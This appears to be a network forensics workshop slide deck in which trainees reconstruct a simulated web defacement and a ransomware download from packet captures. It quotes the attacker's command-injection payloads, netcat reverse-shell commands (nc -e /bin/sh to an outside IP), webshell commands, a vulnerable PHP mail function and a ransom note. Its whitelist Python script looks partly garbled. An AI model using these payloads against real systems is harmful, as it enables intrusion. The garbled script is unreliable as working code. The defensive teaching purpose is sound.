Hands-on Network Forensics

Erik Hjelmvik, Swedish Armed Forces CERT
FIRST 2015, Berlin
Hands-on Network Forensics Workshop Preparations:

1. Unzip the VirtualBox machine from Hands-on_Network_Forensics.zip on your USB thumb drive to your local hard drive

2. Start VirtualBox and run the Security Onion VM

3. Log in with: user/password
"Password" Ned
SysAdmin: Homer
PR /Marketing: Krusty the Clown
Password Ned AB = pwned.se
pwned.se Network

[INTERNET]

| Default Gateway
192.168.0.1

| www.pwned.se
192.168.0.2

| [TAP]---Security-
| Onion

| PASSWORD-NED-XP
192.168.0.53

| Homer-xubuntu
192.168.0.51

----------+

| Krustys-PC
192.168.0.54
- Linux distro for intrusion detection
- Developer: Doug Burks
- Website: http://blog.securityonion.net/
Paths (also on Cheat Sheet)

- PCAP files:
  /nsm/sensor_data/securityonion_eth1/dailylogs/
- Argus files:
  /nsm/sensor_data/securityonion_eth1/argus/
- Bro-IDS logs:
  /nsm/bro/logs/
- ip_whitelist.py:
  /usr/local/bin/ip_whitelist.py
Background Traffic (1/2)

• Web browsing
  – Facebook
  – Search engines
• Chat
  – Skype
  – HipChat
• Emails
  – Webmail
  – POP3
  – SMTP
• DropBox
Incident #1: FrogSquad

- The hacker collective FrogSquad defaced www.pwned.se on March 12, 12:58 UTC.
- Attackers uploaded a FrogSquad image to: www.pwned.se/skyblue/fr.jpg
Question 1.1 and 1.2

• Q1.1: What IP address did the attackers use?
• Q1.2: How did the attacker get the fr.jpg file to the webserver?

• Recommended tools:
  – Wireshark (Conversations and Follow TCP Stream)
  – Tshark (-T fields)
  – NetworkMiner (Parameters tab)
Filtering with Wireshark

![Wireshark Screenshot]

- Frame 89370: 441 bytes on wire (3528 bits), 441 bytes captured (3528 bits)
- Transmission Control Protocol, Src Port: 54392 (54392), Dst Port: http (80), Seq: 446, Ack: 3

- Hypertext Transfer Protocol

GET /skyblue/fr.jpg HTTP/1.1

Host: www.pwned.se

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/
Accept: image/png, image/*; q=0.8, */*; q=0.5

GET /s/kyblue/fr.jpg HTTP/1.1

Host: www.pwned.

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/
Filtering with Tshark

user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tshark -r snort.log.1426118407 -R "http.request.uri contains fr.jpg" -T fields -e frame.time -e ip.src -e http.host -e http.request.uri

Many POSTs to index.php?pid=4

user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tshark -r
snort.log.1426118407 -R "http.request and ip.addr eq 217.195.49.146" -T fields -e http.request.method
-e http.host -e http.request.uri | sort | uniq -c | sort -rn | head

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>POST</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/index.php?pid=4</td>
</tr>
<tr>
<td>10</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/FrogSquad.jpg</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/fr.jpg</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/fr.html</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/data/skins/techjunkie/images/wrap.gif</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/data/skins/techjunkie/images/pointer.gif</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/data/skins/techjunkie/images/nav.gif</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/data/skins/techjunkie/images/header.gif</td>
</tr>
<tr>
<td>5</td>
<td>GET</td>
<td><a href="http://www.pwned.se">www.pwned.se</a> /skyblue/data/skins/techjunkie/images/footer-top-sep.gif</td>
</tr>
</tbody>
</table>
Malicious HTTP POST requests

![Browser window with HTTP POST request details](image)

- Frame 84347: 699 bytes on wire (5592 bits), 699 bytes captured (5592 bits)
- Internet Protocol Version 4, Src: 217.195.49.146 (217.195.49.146), Dst: 192.168.0.2
- Transmission Control Protocol, Src Port: 54314 (54314), Dst Port: http (80), Seq: 
- Hypertext Transfer Protocol

```
cid=3&name=test%22+%7C+nc+-e+2Fbin%2Fsh+217.195.49.146+63122%3B+echo+%22@email=
```

- Hypertext Transfer Protocol (http), 493 bytes
  - Packets: 15... Profile: Default
SkyBlueCanvas' functions.php

- CVE-2014-1683 (Command Injection Vuln.)
- Attacker controls $msg via "name" parameter

```php
function bashMail($sbj, $msg, $to, $cc='', $bc='') {
    $cmd = 'echo "'.$msg.'" | mail -s "'.$sbj.'" '.$to;
    exec($cmd, $err);
    $res = count($err) == 0 ? 1 : 4 ;
    return $res;
}
```
HTTP POST Command Injection

user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tshark -r
snort.log.1426118407 -R "http.request.method==POST and ip.addr==217.195.49.146" -T
fields -e text | cut -d, -f 8 | cut -d \& -f 2

[...]
name=test%22%3B+ping+-c+2+217.195.49.146%3B+echo+%22
name=test%22%3B+sleep+4%3B+%22
name=test%22+%7C+nc+217.195.49.146+63122%3B+echo+%22
name=test%22+%7C+nc+217.195.49.146+63122%3B+echo+%22
name=test%22+%7C+nc+-e+%2Fbin%2Fsh+217.195.49.146+63122%3B+echo+%22
name=test%22+%7C+nc+-e+%2Fbin%2Fsh+217.195.49.146+63122%3B+echo+%22
“name” parameter in NetworkMiner

user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tcpdump -r snort.log.1426118407 -w /var/tmp/217.195.49.146.pcap host 217.195.49.146
user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ /opt/networkminer/networkminer /var/tmp/217.195.49.146.pcap
Reverse shell through Netcat
Answer 1.1 and 1.2

- A1.1: Attacker IP = 217.195.49.146
- A1.2: Steps carried out by attacker:
  - Launch reverse shell through command injection (CVE-2014-1683)
  - Download fr.jpg and fr.html with wget
Question 1.3

• Q1.3: Show how the web page looked after the defacement for URL http://www.pwned.se/skyblue/

• Tip: NetworkMiner has already extracted all files downloaded from the webservice here: /opt/networkminer/AssembledFiles/192.168.0.2/HTTP - TCP 80/skyblue/
Answer 1.3

- A1.3: Defaced index.html is extracted here:
  file:///opt/networkminer/AssembledFiles/192.168.0.2/HTTP - TCP 80/skyblue/index[6].html
Question 1.4

- The attacker also placed a webshell (PHP backdoor) here: www.pwned.se/skyblue/cm0.php
- Q1.4: List all commands FrogSquad sent using the cm0 backdoor on March 12

- Recommended tools
  - tshark (-T fields -e http.request.uri)
  - NetworkMiner (Parameters tab)

Proceed to Bonus Question 1.5 when finished!
HTTP filtering with Tshark

• user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$
tshark -r snort.log.1426118407 -R "http.request.uri contains cm0.php" -T fields -e http.request.uri | ruby -r uri -ne 'puts(URI.decode $_)'
user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tshark -r snort.log.1426118407 -R "http.request.uri contains cm0.php" -T fields -e http.request.uri | ruby -r uri -ne 'puts(URL.decode $_)'
/cm0.php?cmd=pwd
/cm0.php?cmd=pwd
/skyblue/cm0.php?cmd=pwd
/skyblue/cm0.php?cmd=cat index.php
/skyblue/cm0.php?cmd=ls
/skyblue/cm0.php?cmd=ls
/skyblue/cm0.php?cmd=nc 217.195.49.146 63129 > fr.html
/skyblue/cm0.php?cmd=ls
/skyblue/cm0.php?cmd=cat fr.html
/skyblue/cm0.php?cmd=nc 217.195.49.146 63129 >FrogSquad.jpg
/skyblue/cm0.php?cmd=ls
/skyblue/cm0.php?cmd=ls -l F*
/skyblue/cm0.php?cmd=nc 217.195.49.146 63129 >FrogSquad.jpg
/skyblue/cm0.php?cmd=ls -l F*
/skyblue/cm0.php?cmd=wget http://217.195.49.146:63129/fr.gif
/skyblue/cm0.php?cmd=ls
/skyblue/cm0.php?cmd=ls -lrt
/skyblue/cm0.php?cmd=wget -? 
/skyblue/cm0.php?cmd=wget -? 2>&1
/skyblue/cm0.php?cmd=wge 2>&1
/skyblue/cm0.php?cmd=ls -l F*
/skyblue/cm0.php?cmd=ls -l fr*
/skyblue/cm0.php?cmd=nc -e /bin/sh 217.195.49.146 63122
/skyblue/cm0.php?cmd=ls -l
/skyblue/cm0.php?cmd=ls -la
/skyblue/cm0.php?cmd=ls -la 2>&1
/skyblue/cm0.php?cmd=ls -la
Answer 1.4
Bonus Question 1.5

Q1.5: Did FrogSquad come back at a later time from the same class C IP network (217.195.49.0/24)?
<table>
<thead>
<tr>
<th>StartTime</th>
<th>Proto</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>Dir</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
<th>SrcBytes</th>
<th>DstBytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-03-11 13:52:39</td>
<td>tcp</td>
<td>217.195.49.112.50875</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td>480</td>
<td>1316</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50879</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td>780</td>
<td>819</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50877</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>126</td>
<td>4945</td>
<td>78470</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50881</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td>780</td>
<td>773</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50876</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>185</td>
<td>8836</td>
<td>122352</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50880</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>19</td>
<td>1567</td>
<td>5247</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50878</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>34</td>
<td>1571</td>
<td>18257</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:37</td>
<td>tcp</td>
<td>217.195.49.112.50882</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:40</td>
<td>tcp</td>
<td>217.195.49.112.50889</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:44</td>
<td>tcp</td>
<td>217.195.49.112.50924</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:46</td>
<td>tcp</td>
<td>217.195.49.112.50939</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:48</td>
<td>tcp</td>
<td>217.195.49.112.50966</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:50</td>
<td>tcp</td>
<td>217.195.49.112.51001</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:52</td>
<td>tcp</td>
<td>217.195.49.112.51042</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:54</td>
<td>tcp</td>
<td>217.195.49.112.51091</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:56</td>
<td>tcp</td>
<td>217.195.49.112.51146</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:57</td>
<td>tcp</td>
<td>217.195.49.112.51208</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:59</td>
<td>tcp</td>
<td>217.195.49.112.51303</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:01</td>
<td>tcp</td>
<td>217.195.49.112.51383</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:02</td>
<td>tcp</td>
<td>217.195.49.112.51490</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:03</td>
<td>tcp</td>
<td>217.195.49.112.51577</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:05</td>
<td>tcp</td>
<td>217.195.49.112.51670</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:07</td>
<td>tcp</td>
<td>217.195.49.112.51821</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:09</td>
<td>tcp</td>
<td>217.195.49.112.51953</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:55:10</td>
<td>tcp</td>
<td>217.195.49.112.52097</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td>206</td>
<td>74</td>
<td></td>
</tr>
</tbody>
</table>
Bonus Answer 1.5

• A: Yes
  – TCP 80 (HTTP) was accessed on:
    • 2015-03-11
    • 2015-03-12
    • 2015-03-16
    • 2015-03-19
  – TCP 22 (SSH) was accessed on:
    • 2015-03-11
    • 2015-03-12

• Command:
  – racluster -R * -nu – net 217.195.49.0/24
IDS / Blacklist Information Overload
Filtering with Whitelists

- No signatures needed
- Detection of 0-day vulnerability attacks

Rinse-Repeat Process:
1. Look at network traffic
2. Define what's normal (whitelist)
3. Remove that
4. GOTO 1.
Flow analysis with Argus

- Argus tracks bi-directional flows in network traffic
- Developer: Carter Bullard

- 4.1 GB PCAP = 297 MB Argus
  - Only requires ~7% disk compared to FPC

- Useful Commands:
  - Ra : Prints Argus records
  - Rasort : Sorts Argus records
  - Racluster : Clusters/merges Argus records
  - Rafilteraddr : Selects Argus records that include IP addresses in a text file
Argus Example: ra

ra [options] [-- filter-expression]
- n suppress port number to service conversion.
- r [- | <file file ...>]
  Read data from <files> in the order presented on the commandline. '-' denotes stdin.
- R <dir dir ...>
  Recursively descend the directory and process all the regular files that are encountered.

user@securityonion:/nsm/sensor_data/securityonion-eth1/argus$ ra -R * -n -- net 217.195.49.0/24 | head

<table>
<thead>
<tr>
<th>StartTime</th>
<th>Proto</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>Dir</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-03-11 13:52:39</td>
<td>tcp</td>
<td>217.195.49.112.50875</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50876</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>182</td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50877</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>123</td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50878</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>31</td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50879</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>16</td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50880</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>7</td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50881</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>7</td>
</tr>
<tr>
<td>2015-03-11 13:54:07</td>
<td>tcp</td>
<td>217.195.49.112.50879</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>3</td>
</tr>
<tr>
<td>2015-03-11 13:54:07</td>
<td>tcp</td>
<td>217.195.49.112.50877</td>
<td></td>
<td></td>
<td>192.168.0.2.80</td>
<td></td>
<td>3</td>
</tr>
</tbody>
</table>
Argus Example: racluster

user@securityonion:/ns/m sensor_data/securityonion-eth1/argus$

head

racluster -R * -n -- net 217.195.49.0/24 |

<table>
<thead>
<tr>
<th>StartTime</th>
<th>Proto</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>Dir</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-03-11 13:52:39</td>
<td>tcp</td>
<td>217.195.49.112.50875</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50877</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>126</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50876</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>185</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50881</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50878</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>34</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:37</td>
<td>tcp</td>
<td>217.195.49.112.50882</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td></td>
</tr>
</tbody>
</table>
Argus Example: racluster + rasort

```bash
user@securityonion:/nsn_sensor_data/securityonion-eth1/argus$ racluster -R * -w -- net 217.195.49.0/24 | rasort -m stime -n | head
```

<table>
<thead>
<tr>
<th>StartTime</th>
<th>Proto</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>Dir</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-03-11 13:52:39</td>
<td>tcp</td>
<td>217.195.49.112.50875</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50876</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>185</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:53:58</td>
<td>tcp</td>
<td>217.195.49.112.50877</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>126</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50878</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>34</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50879</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50880</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>19</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:01</td>
<td>tcp</td>
<td>217.195.49.112.50881</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:37</td>
<td>tcp</td>
<td>217.195.49.112.50882</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>2015-03-11 13:54:40</td>
<td>tcp</td>
<td>217.195.49.112.50889</td>
<td></td>
<td>-&gt;</td>
<td>192.168.0.2.80</td>
<td>4</td>
<td></td>
</tr>
</tbody>
</table>
Passive DNS

- Domain names can be resolved locally by leveraging captured DNS traffic
  
- Search PCAP file for captured lookup:
  - `tshark -r dump.pcap -R "dns.resp.addr==108.160.170.50"`
  - `tshark -r dump.pcap -R "dns.resp.name contains facebook.com"`
  - `tcpdump -r dump.pcap -n src port 53 | fgrep facebook.com`

- Generate hosts file:
  - `tshark -r dump.pcap -q -z hosts`
Tshark -z hosts

user@securityonion:/nsm.sensor_data/securityonion-eth1/dailylogs/2015-03-12$ tshark -r snort.log.1426118407 -q -z hosts
# TShark hosts output
#
# Host data gathered from snort.log.1426118407

208.239.76.34     mycompany.com
212.227.17.171     pop.gmx.com
212.227.17.187     pop.gmx.com
216.58.209.142     sb.l.google.com
216.58.209.110     safebrowsing.cache.l.google.com
213.155.151.154    clients.l.google.com
213.155.151.155    clients.l.google.com
213.155.151.148    clients.l.google.com
213.155.151.149    clients.l.google.com
213.155.151.150    clients.l.google.com
213.155.151.15     clients.l.google.com
213.155.151.152    clients.l.google.com
213.155.151.153    clients.l.google.com
213.155.151.185    safebrowsing.cache.l.google.com
[...]
Bro logged DNS for us!

user@securityonion:/nsm/bro/logs$ fgrep 31.13.91.2 2015-*/dns.*
2015-03-06/dns.07:00:00-08:00:00.log:1425628288.380572 C29wRtsgsXuBzODDg
    192.168.0.51    47752  192.168.0.1    53    udp    47202
    graph.facebook.com   1    C_INTERNET    1    A
    0    NOERROR    F    F    TT    0
    api.facebook.com,star.c10r.facebook.com,31.13.91.2
    1459.000000,1459.000000,25.000000    F
2015-03-06/dns.07:00:00-08:00:00.log:1425891225.118616 CM38JV2H70Vc9dfK4e
    192.168.0.51    52502  192.168.0.1    53    udp    34217
    www.facebook.com   1    C_INTERNET    1    A    0
    NOERROR    F    F    TT    0
    star.c10r.facebook.com,31.13.91.2
    1895.000000,44.000000
2015-03-09/dns.08:00:00-09:00:00.log:1425891225.226124 CIHnbk33UXn5mVj4s9
    192.168.0.51    35777  192.168.0.1    53    udp    63159
    www.facebook.com   1    C_INTERNET    1    A    0
    NOERROR    F    F    TT    0
    star.c10r.facebook.com,31.13.91.2
    1895.000000,44.000000
F

[...]
Automating Filtering with Whitelists

Alexa provide a list of the top 1 million domains

Idea:
Ignore flows to/from domains listed by Alexa

Problem:
Flows use IP addresses, not domain names

1. google.com
2. facebook.com
3. youtube.com
4. yahoo.com
5. baidu.com
6. amazon.com
7. wikipedia.org
8. taobao.com
9. twitter.com
10. qq.com
11. google.co.in
12. live.com
13. sina.com.cn
14. linkedin.com
15. weibo.com
[…]

1, google.com
2, facebook.com
3, youtube.com
4, yahoo.com
5, baidu.com
6, amazon.com
7, wikipedia.org
8, taobao.com
9, twitter.com
10, qq.com
11, google.co.in
12, live.com
13, sina.com.cn
14, linkedin.com
15, weibo.com
[…]

WWW.FORSVARSMAKTEN.SE
2015-04-30
ip_whitelist.py

- Converts domain list to IP list
- Passive DNS resolution
  - Uses captured DNS lookups (Bro)
- Reduces flows in the scenario by 85%
- Usage:
  - cat /usr/local/etc/top-1m.csv | ip_whitelist.py > ip_whitelist.txt
  - rafilteraddr -R * -v -f ip_whitelist.txt
#!/usr/bin/env python
#
# Author: Erik Hjelmvik, FM CERT
# Date: 2015-05-05
#
# ==USAGE==
# wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
# unzip top-1m.csv.zip
# cat top-1m.csv | python ip_whitelist.py > ip_whitelist.txt
#
# The script will download the Alexa CSV file on its own if nothing is provided on STDIN:
# python ip_whitelist.py > ip_whitelist.txt
#
# ==DESCRIPTION==
# A simple script for Security Onion that produces a list of IP addresses
# based on the Alexa top 1M DNS hosts. The output IP whitelist is suitable
# for usage with ra (from Carter Bullard's Argus) like this:
# rafilteraddr -R /nsm/sensor_data/securityonion-eth1/argus/* -v -f ip_whitelist.txt
#
import os
import re
import sys

def parse_dns_stream(stream):
    for tuple in re.findall(r'\S+\S+\S+\S+', stream.read()):
        if len(tuple) > 1 and tuple[1] != '-1':
            queries = [tuple[0]]
            answers = []
            for a in tuple[1].split(',,'):  
                if re_ipv4.match(a) or re_ipv6.match(a):
                    answers.append(a)
                else:
                    queries.append(a)
            for q in queries:
                s = q.split(',,')
                for i in range(0, len(s)-1):
                    subdomain = '.'.join(s[:i])
                    if subdomain in whitelist:
                        ip_whitelist.update(answers)

whitelist = set()
if sys.stdin.isatty():
    with os.popen("curl -o http://s3.amazonaws.com/alexa-static/top-1m.csv.zip" | gunzip -c | cut -d, -f2") as top_domain_stream:
        for domain in top_domain_stream.readlines():
            whitelist.add(domain.strip())
else:
    for csv_line in sys.stdin:
        whitelist.add(csv_line.split(',,')[1].strip())
        re_ipv4 = re.compile("[0-9.]+\d\d\d\d")
        re_ipv6 = re.compile("[0-9a-fA-F]+\d\d\d\d")
        ip_whitelist = set()
        with os.popen("gunzip -c /nsm/bro/logs/20*/dns*.log.gz 2>dev/null | bro-cut query answers") as stream:
            parse_dns_stream(stream)
        with os.popen("cat /nsm/bro/logs/20*/dns*.log 2>dev/null | bro-cut query answers") as stream:
            parse_dns_stream(stream)
        for ip in ip_whitelist:
            print(ip)
CRYPTOLOCKER

You important files encryption produced on this computer:
photos, videos, documents, etc.

If you see this text, but do not see "CryptoLocker" window, then your antivirus
deleted "CryptoLocker" from computer. If you need your files, you have to recover
"CryptoLocker" from the antivirus quarantine, filename is: __windsk.exe

In case of emergency(!), you can contact our support team via e-mail

__windsk01@mail.ru

Approximate destruction time of your private key:

__13.4.2015 2:40:58

If the time is finished you are unable to recover files anymore!
Question 2.1

• Q 2.1: From which three "odd" (non-legitimate) domain names were the largest downloads made by Ned's computer (192.168.0.53)?

• Tip: disregard downloads from Microsoft/Google/Facebook/Akamai and other common domains
rafilteraddr + ip_whitelist

rafilteraddr -R * -v -f /usr/local/etc/ip_whitelist.txt -w -- src host 192.168.0.53 and not dst net 192.168.0.0/16 | racluster -w - | rasort -m dbytes -n | head

<table>
<thead>
<tr>
<th>StartTime</th>
<th>Proto</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>Dir</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
<th>SrcBytes</th>
<th>DstBytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-04-07</td>
<td>tcp</td>
<td>192.168.0.53.2214</td>
<td>- &gt;</td>
<td>193.9.28.35.80</td>
<td>2000</td>
<td>49637</td>
<td>1597481</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-04-07</td>
<td>tcp</td>
<td>192.168.0.53.2215</td>
<td>- &gt;</td>
<td>148.251.80.172.443</td>
<td>1463</td>
<td>29749</td>
<td>1402928</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-03-06</td>
<td>tcp</td>
<td>192.168.0.53.1102</td>
<td>- &gt;</td>
<td>97.74.215.136.80</td>
<td>472</td>
<td>10223</td>
<td>441343</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-03-17</td>
<td>tcp</td>
<td>192.168.0.53.1287</td>
<td>- &gt;</td>
<td>212.227.17.187.110</td>
<td>469</td>
<td>9895</td>
<td>421363</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-03-13</td>
<td>tcp</td>
<td>192.168.0.53.3445</td>
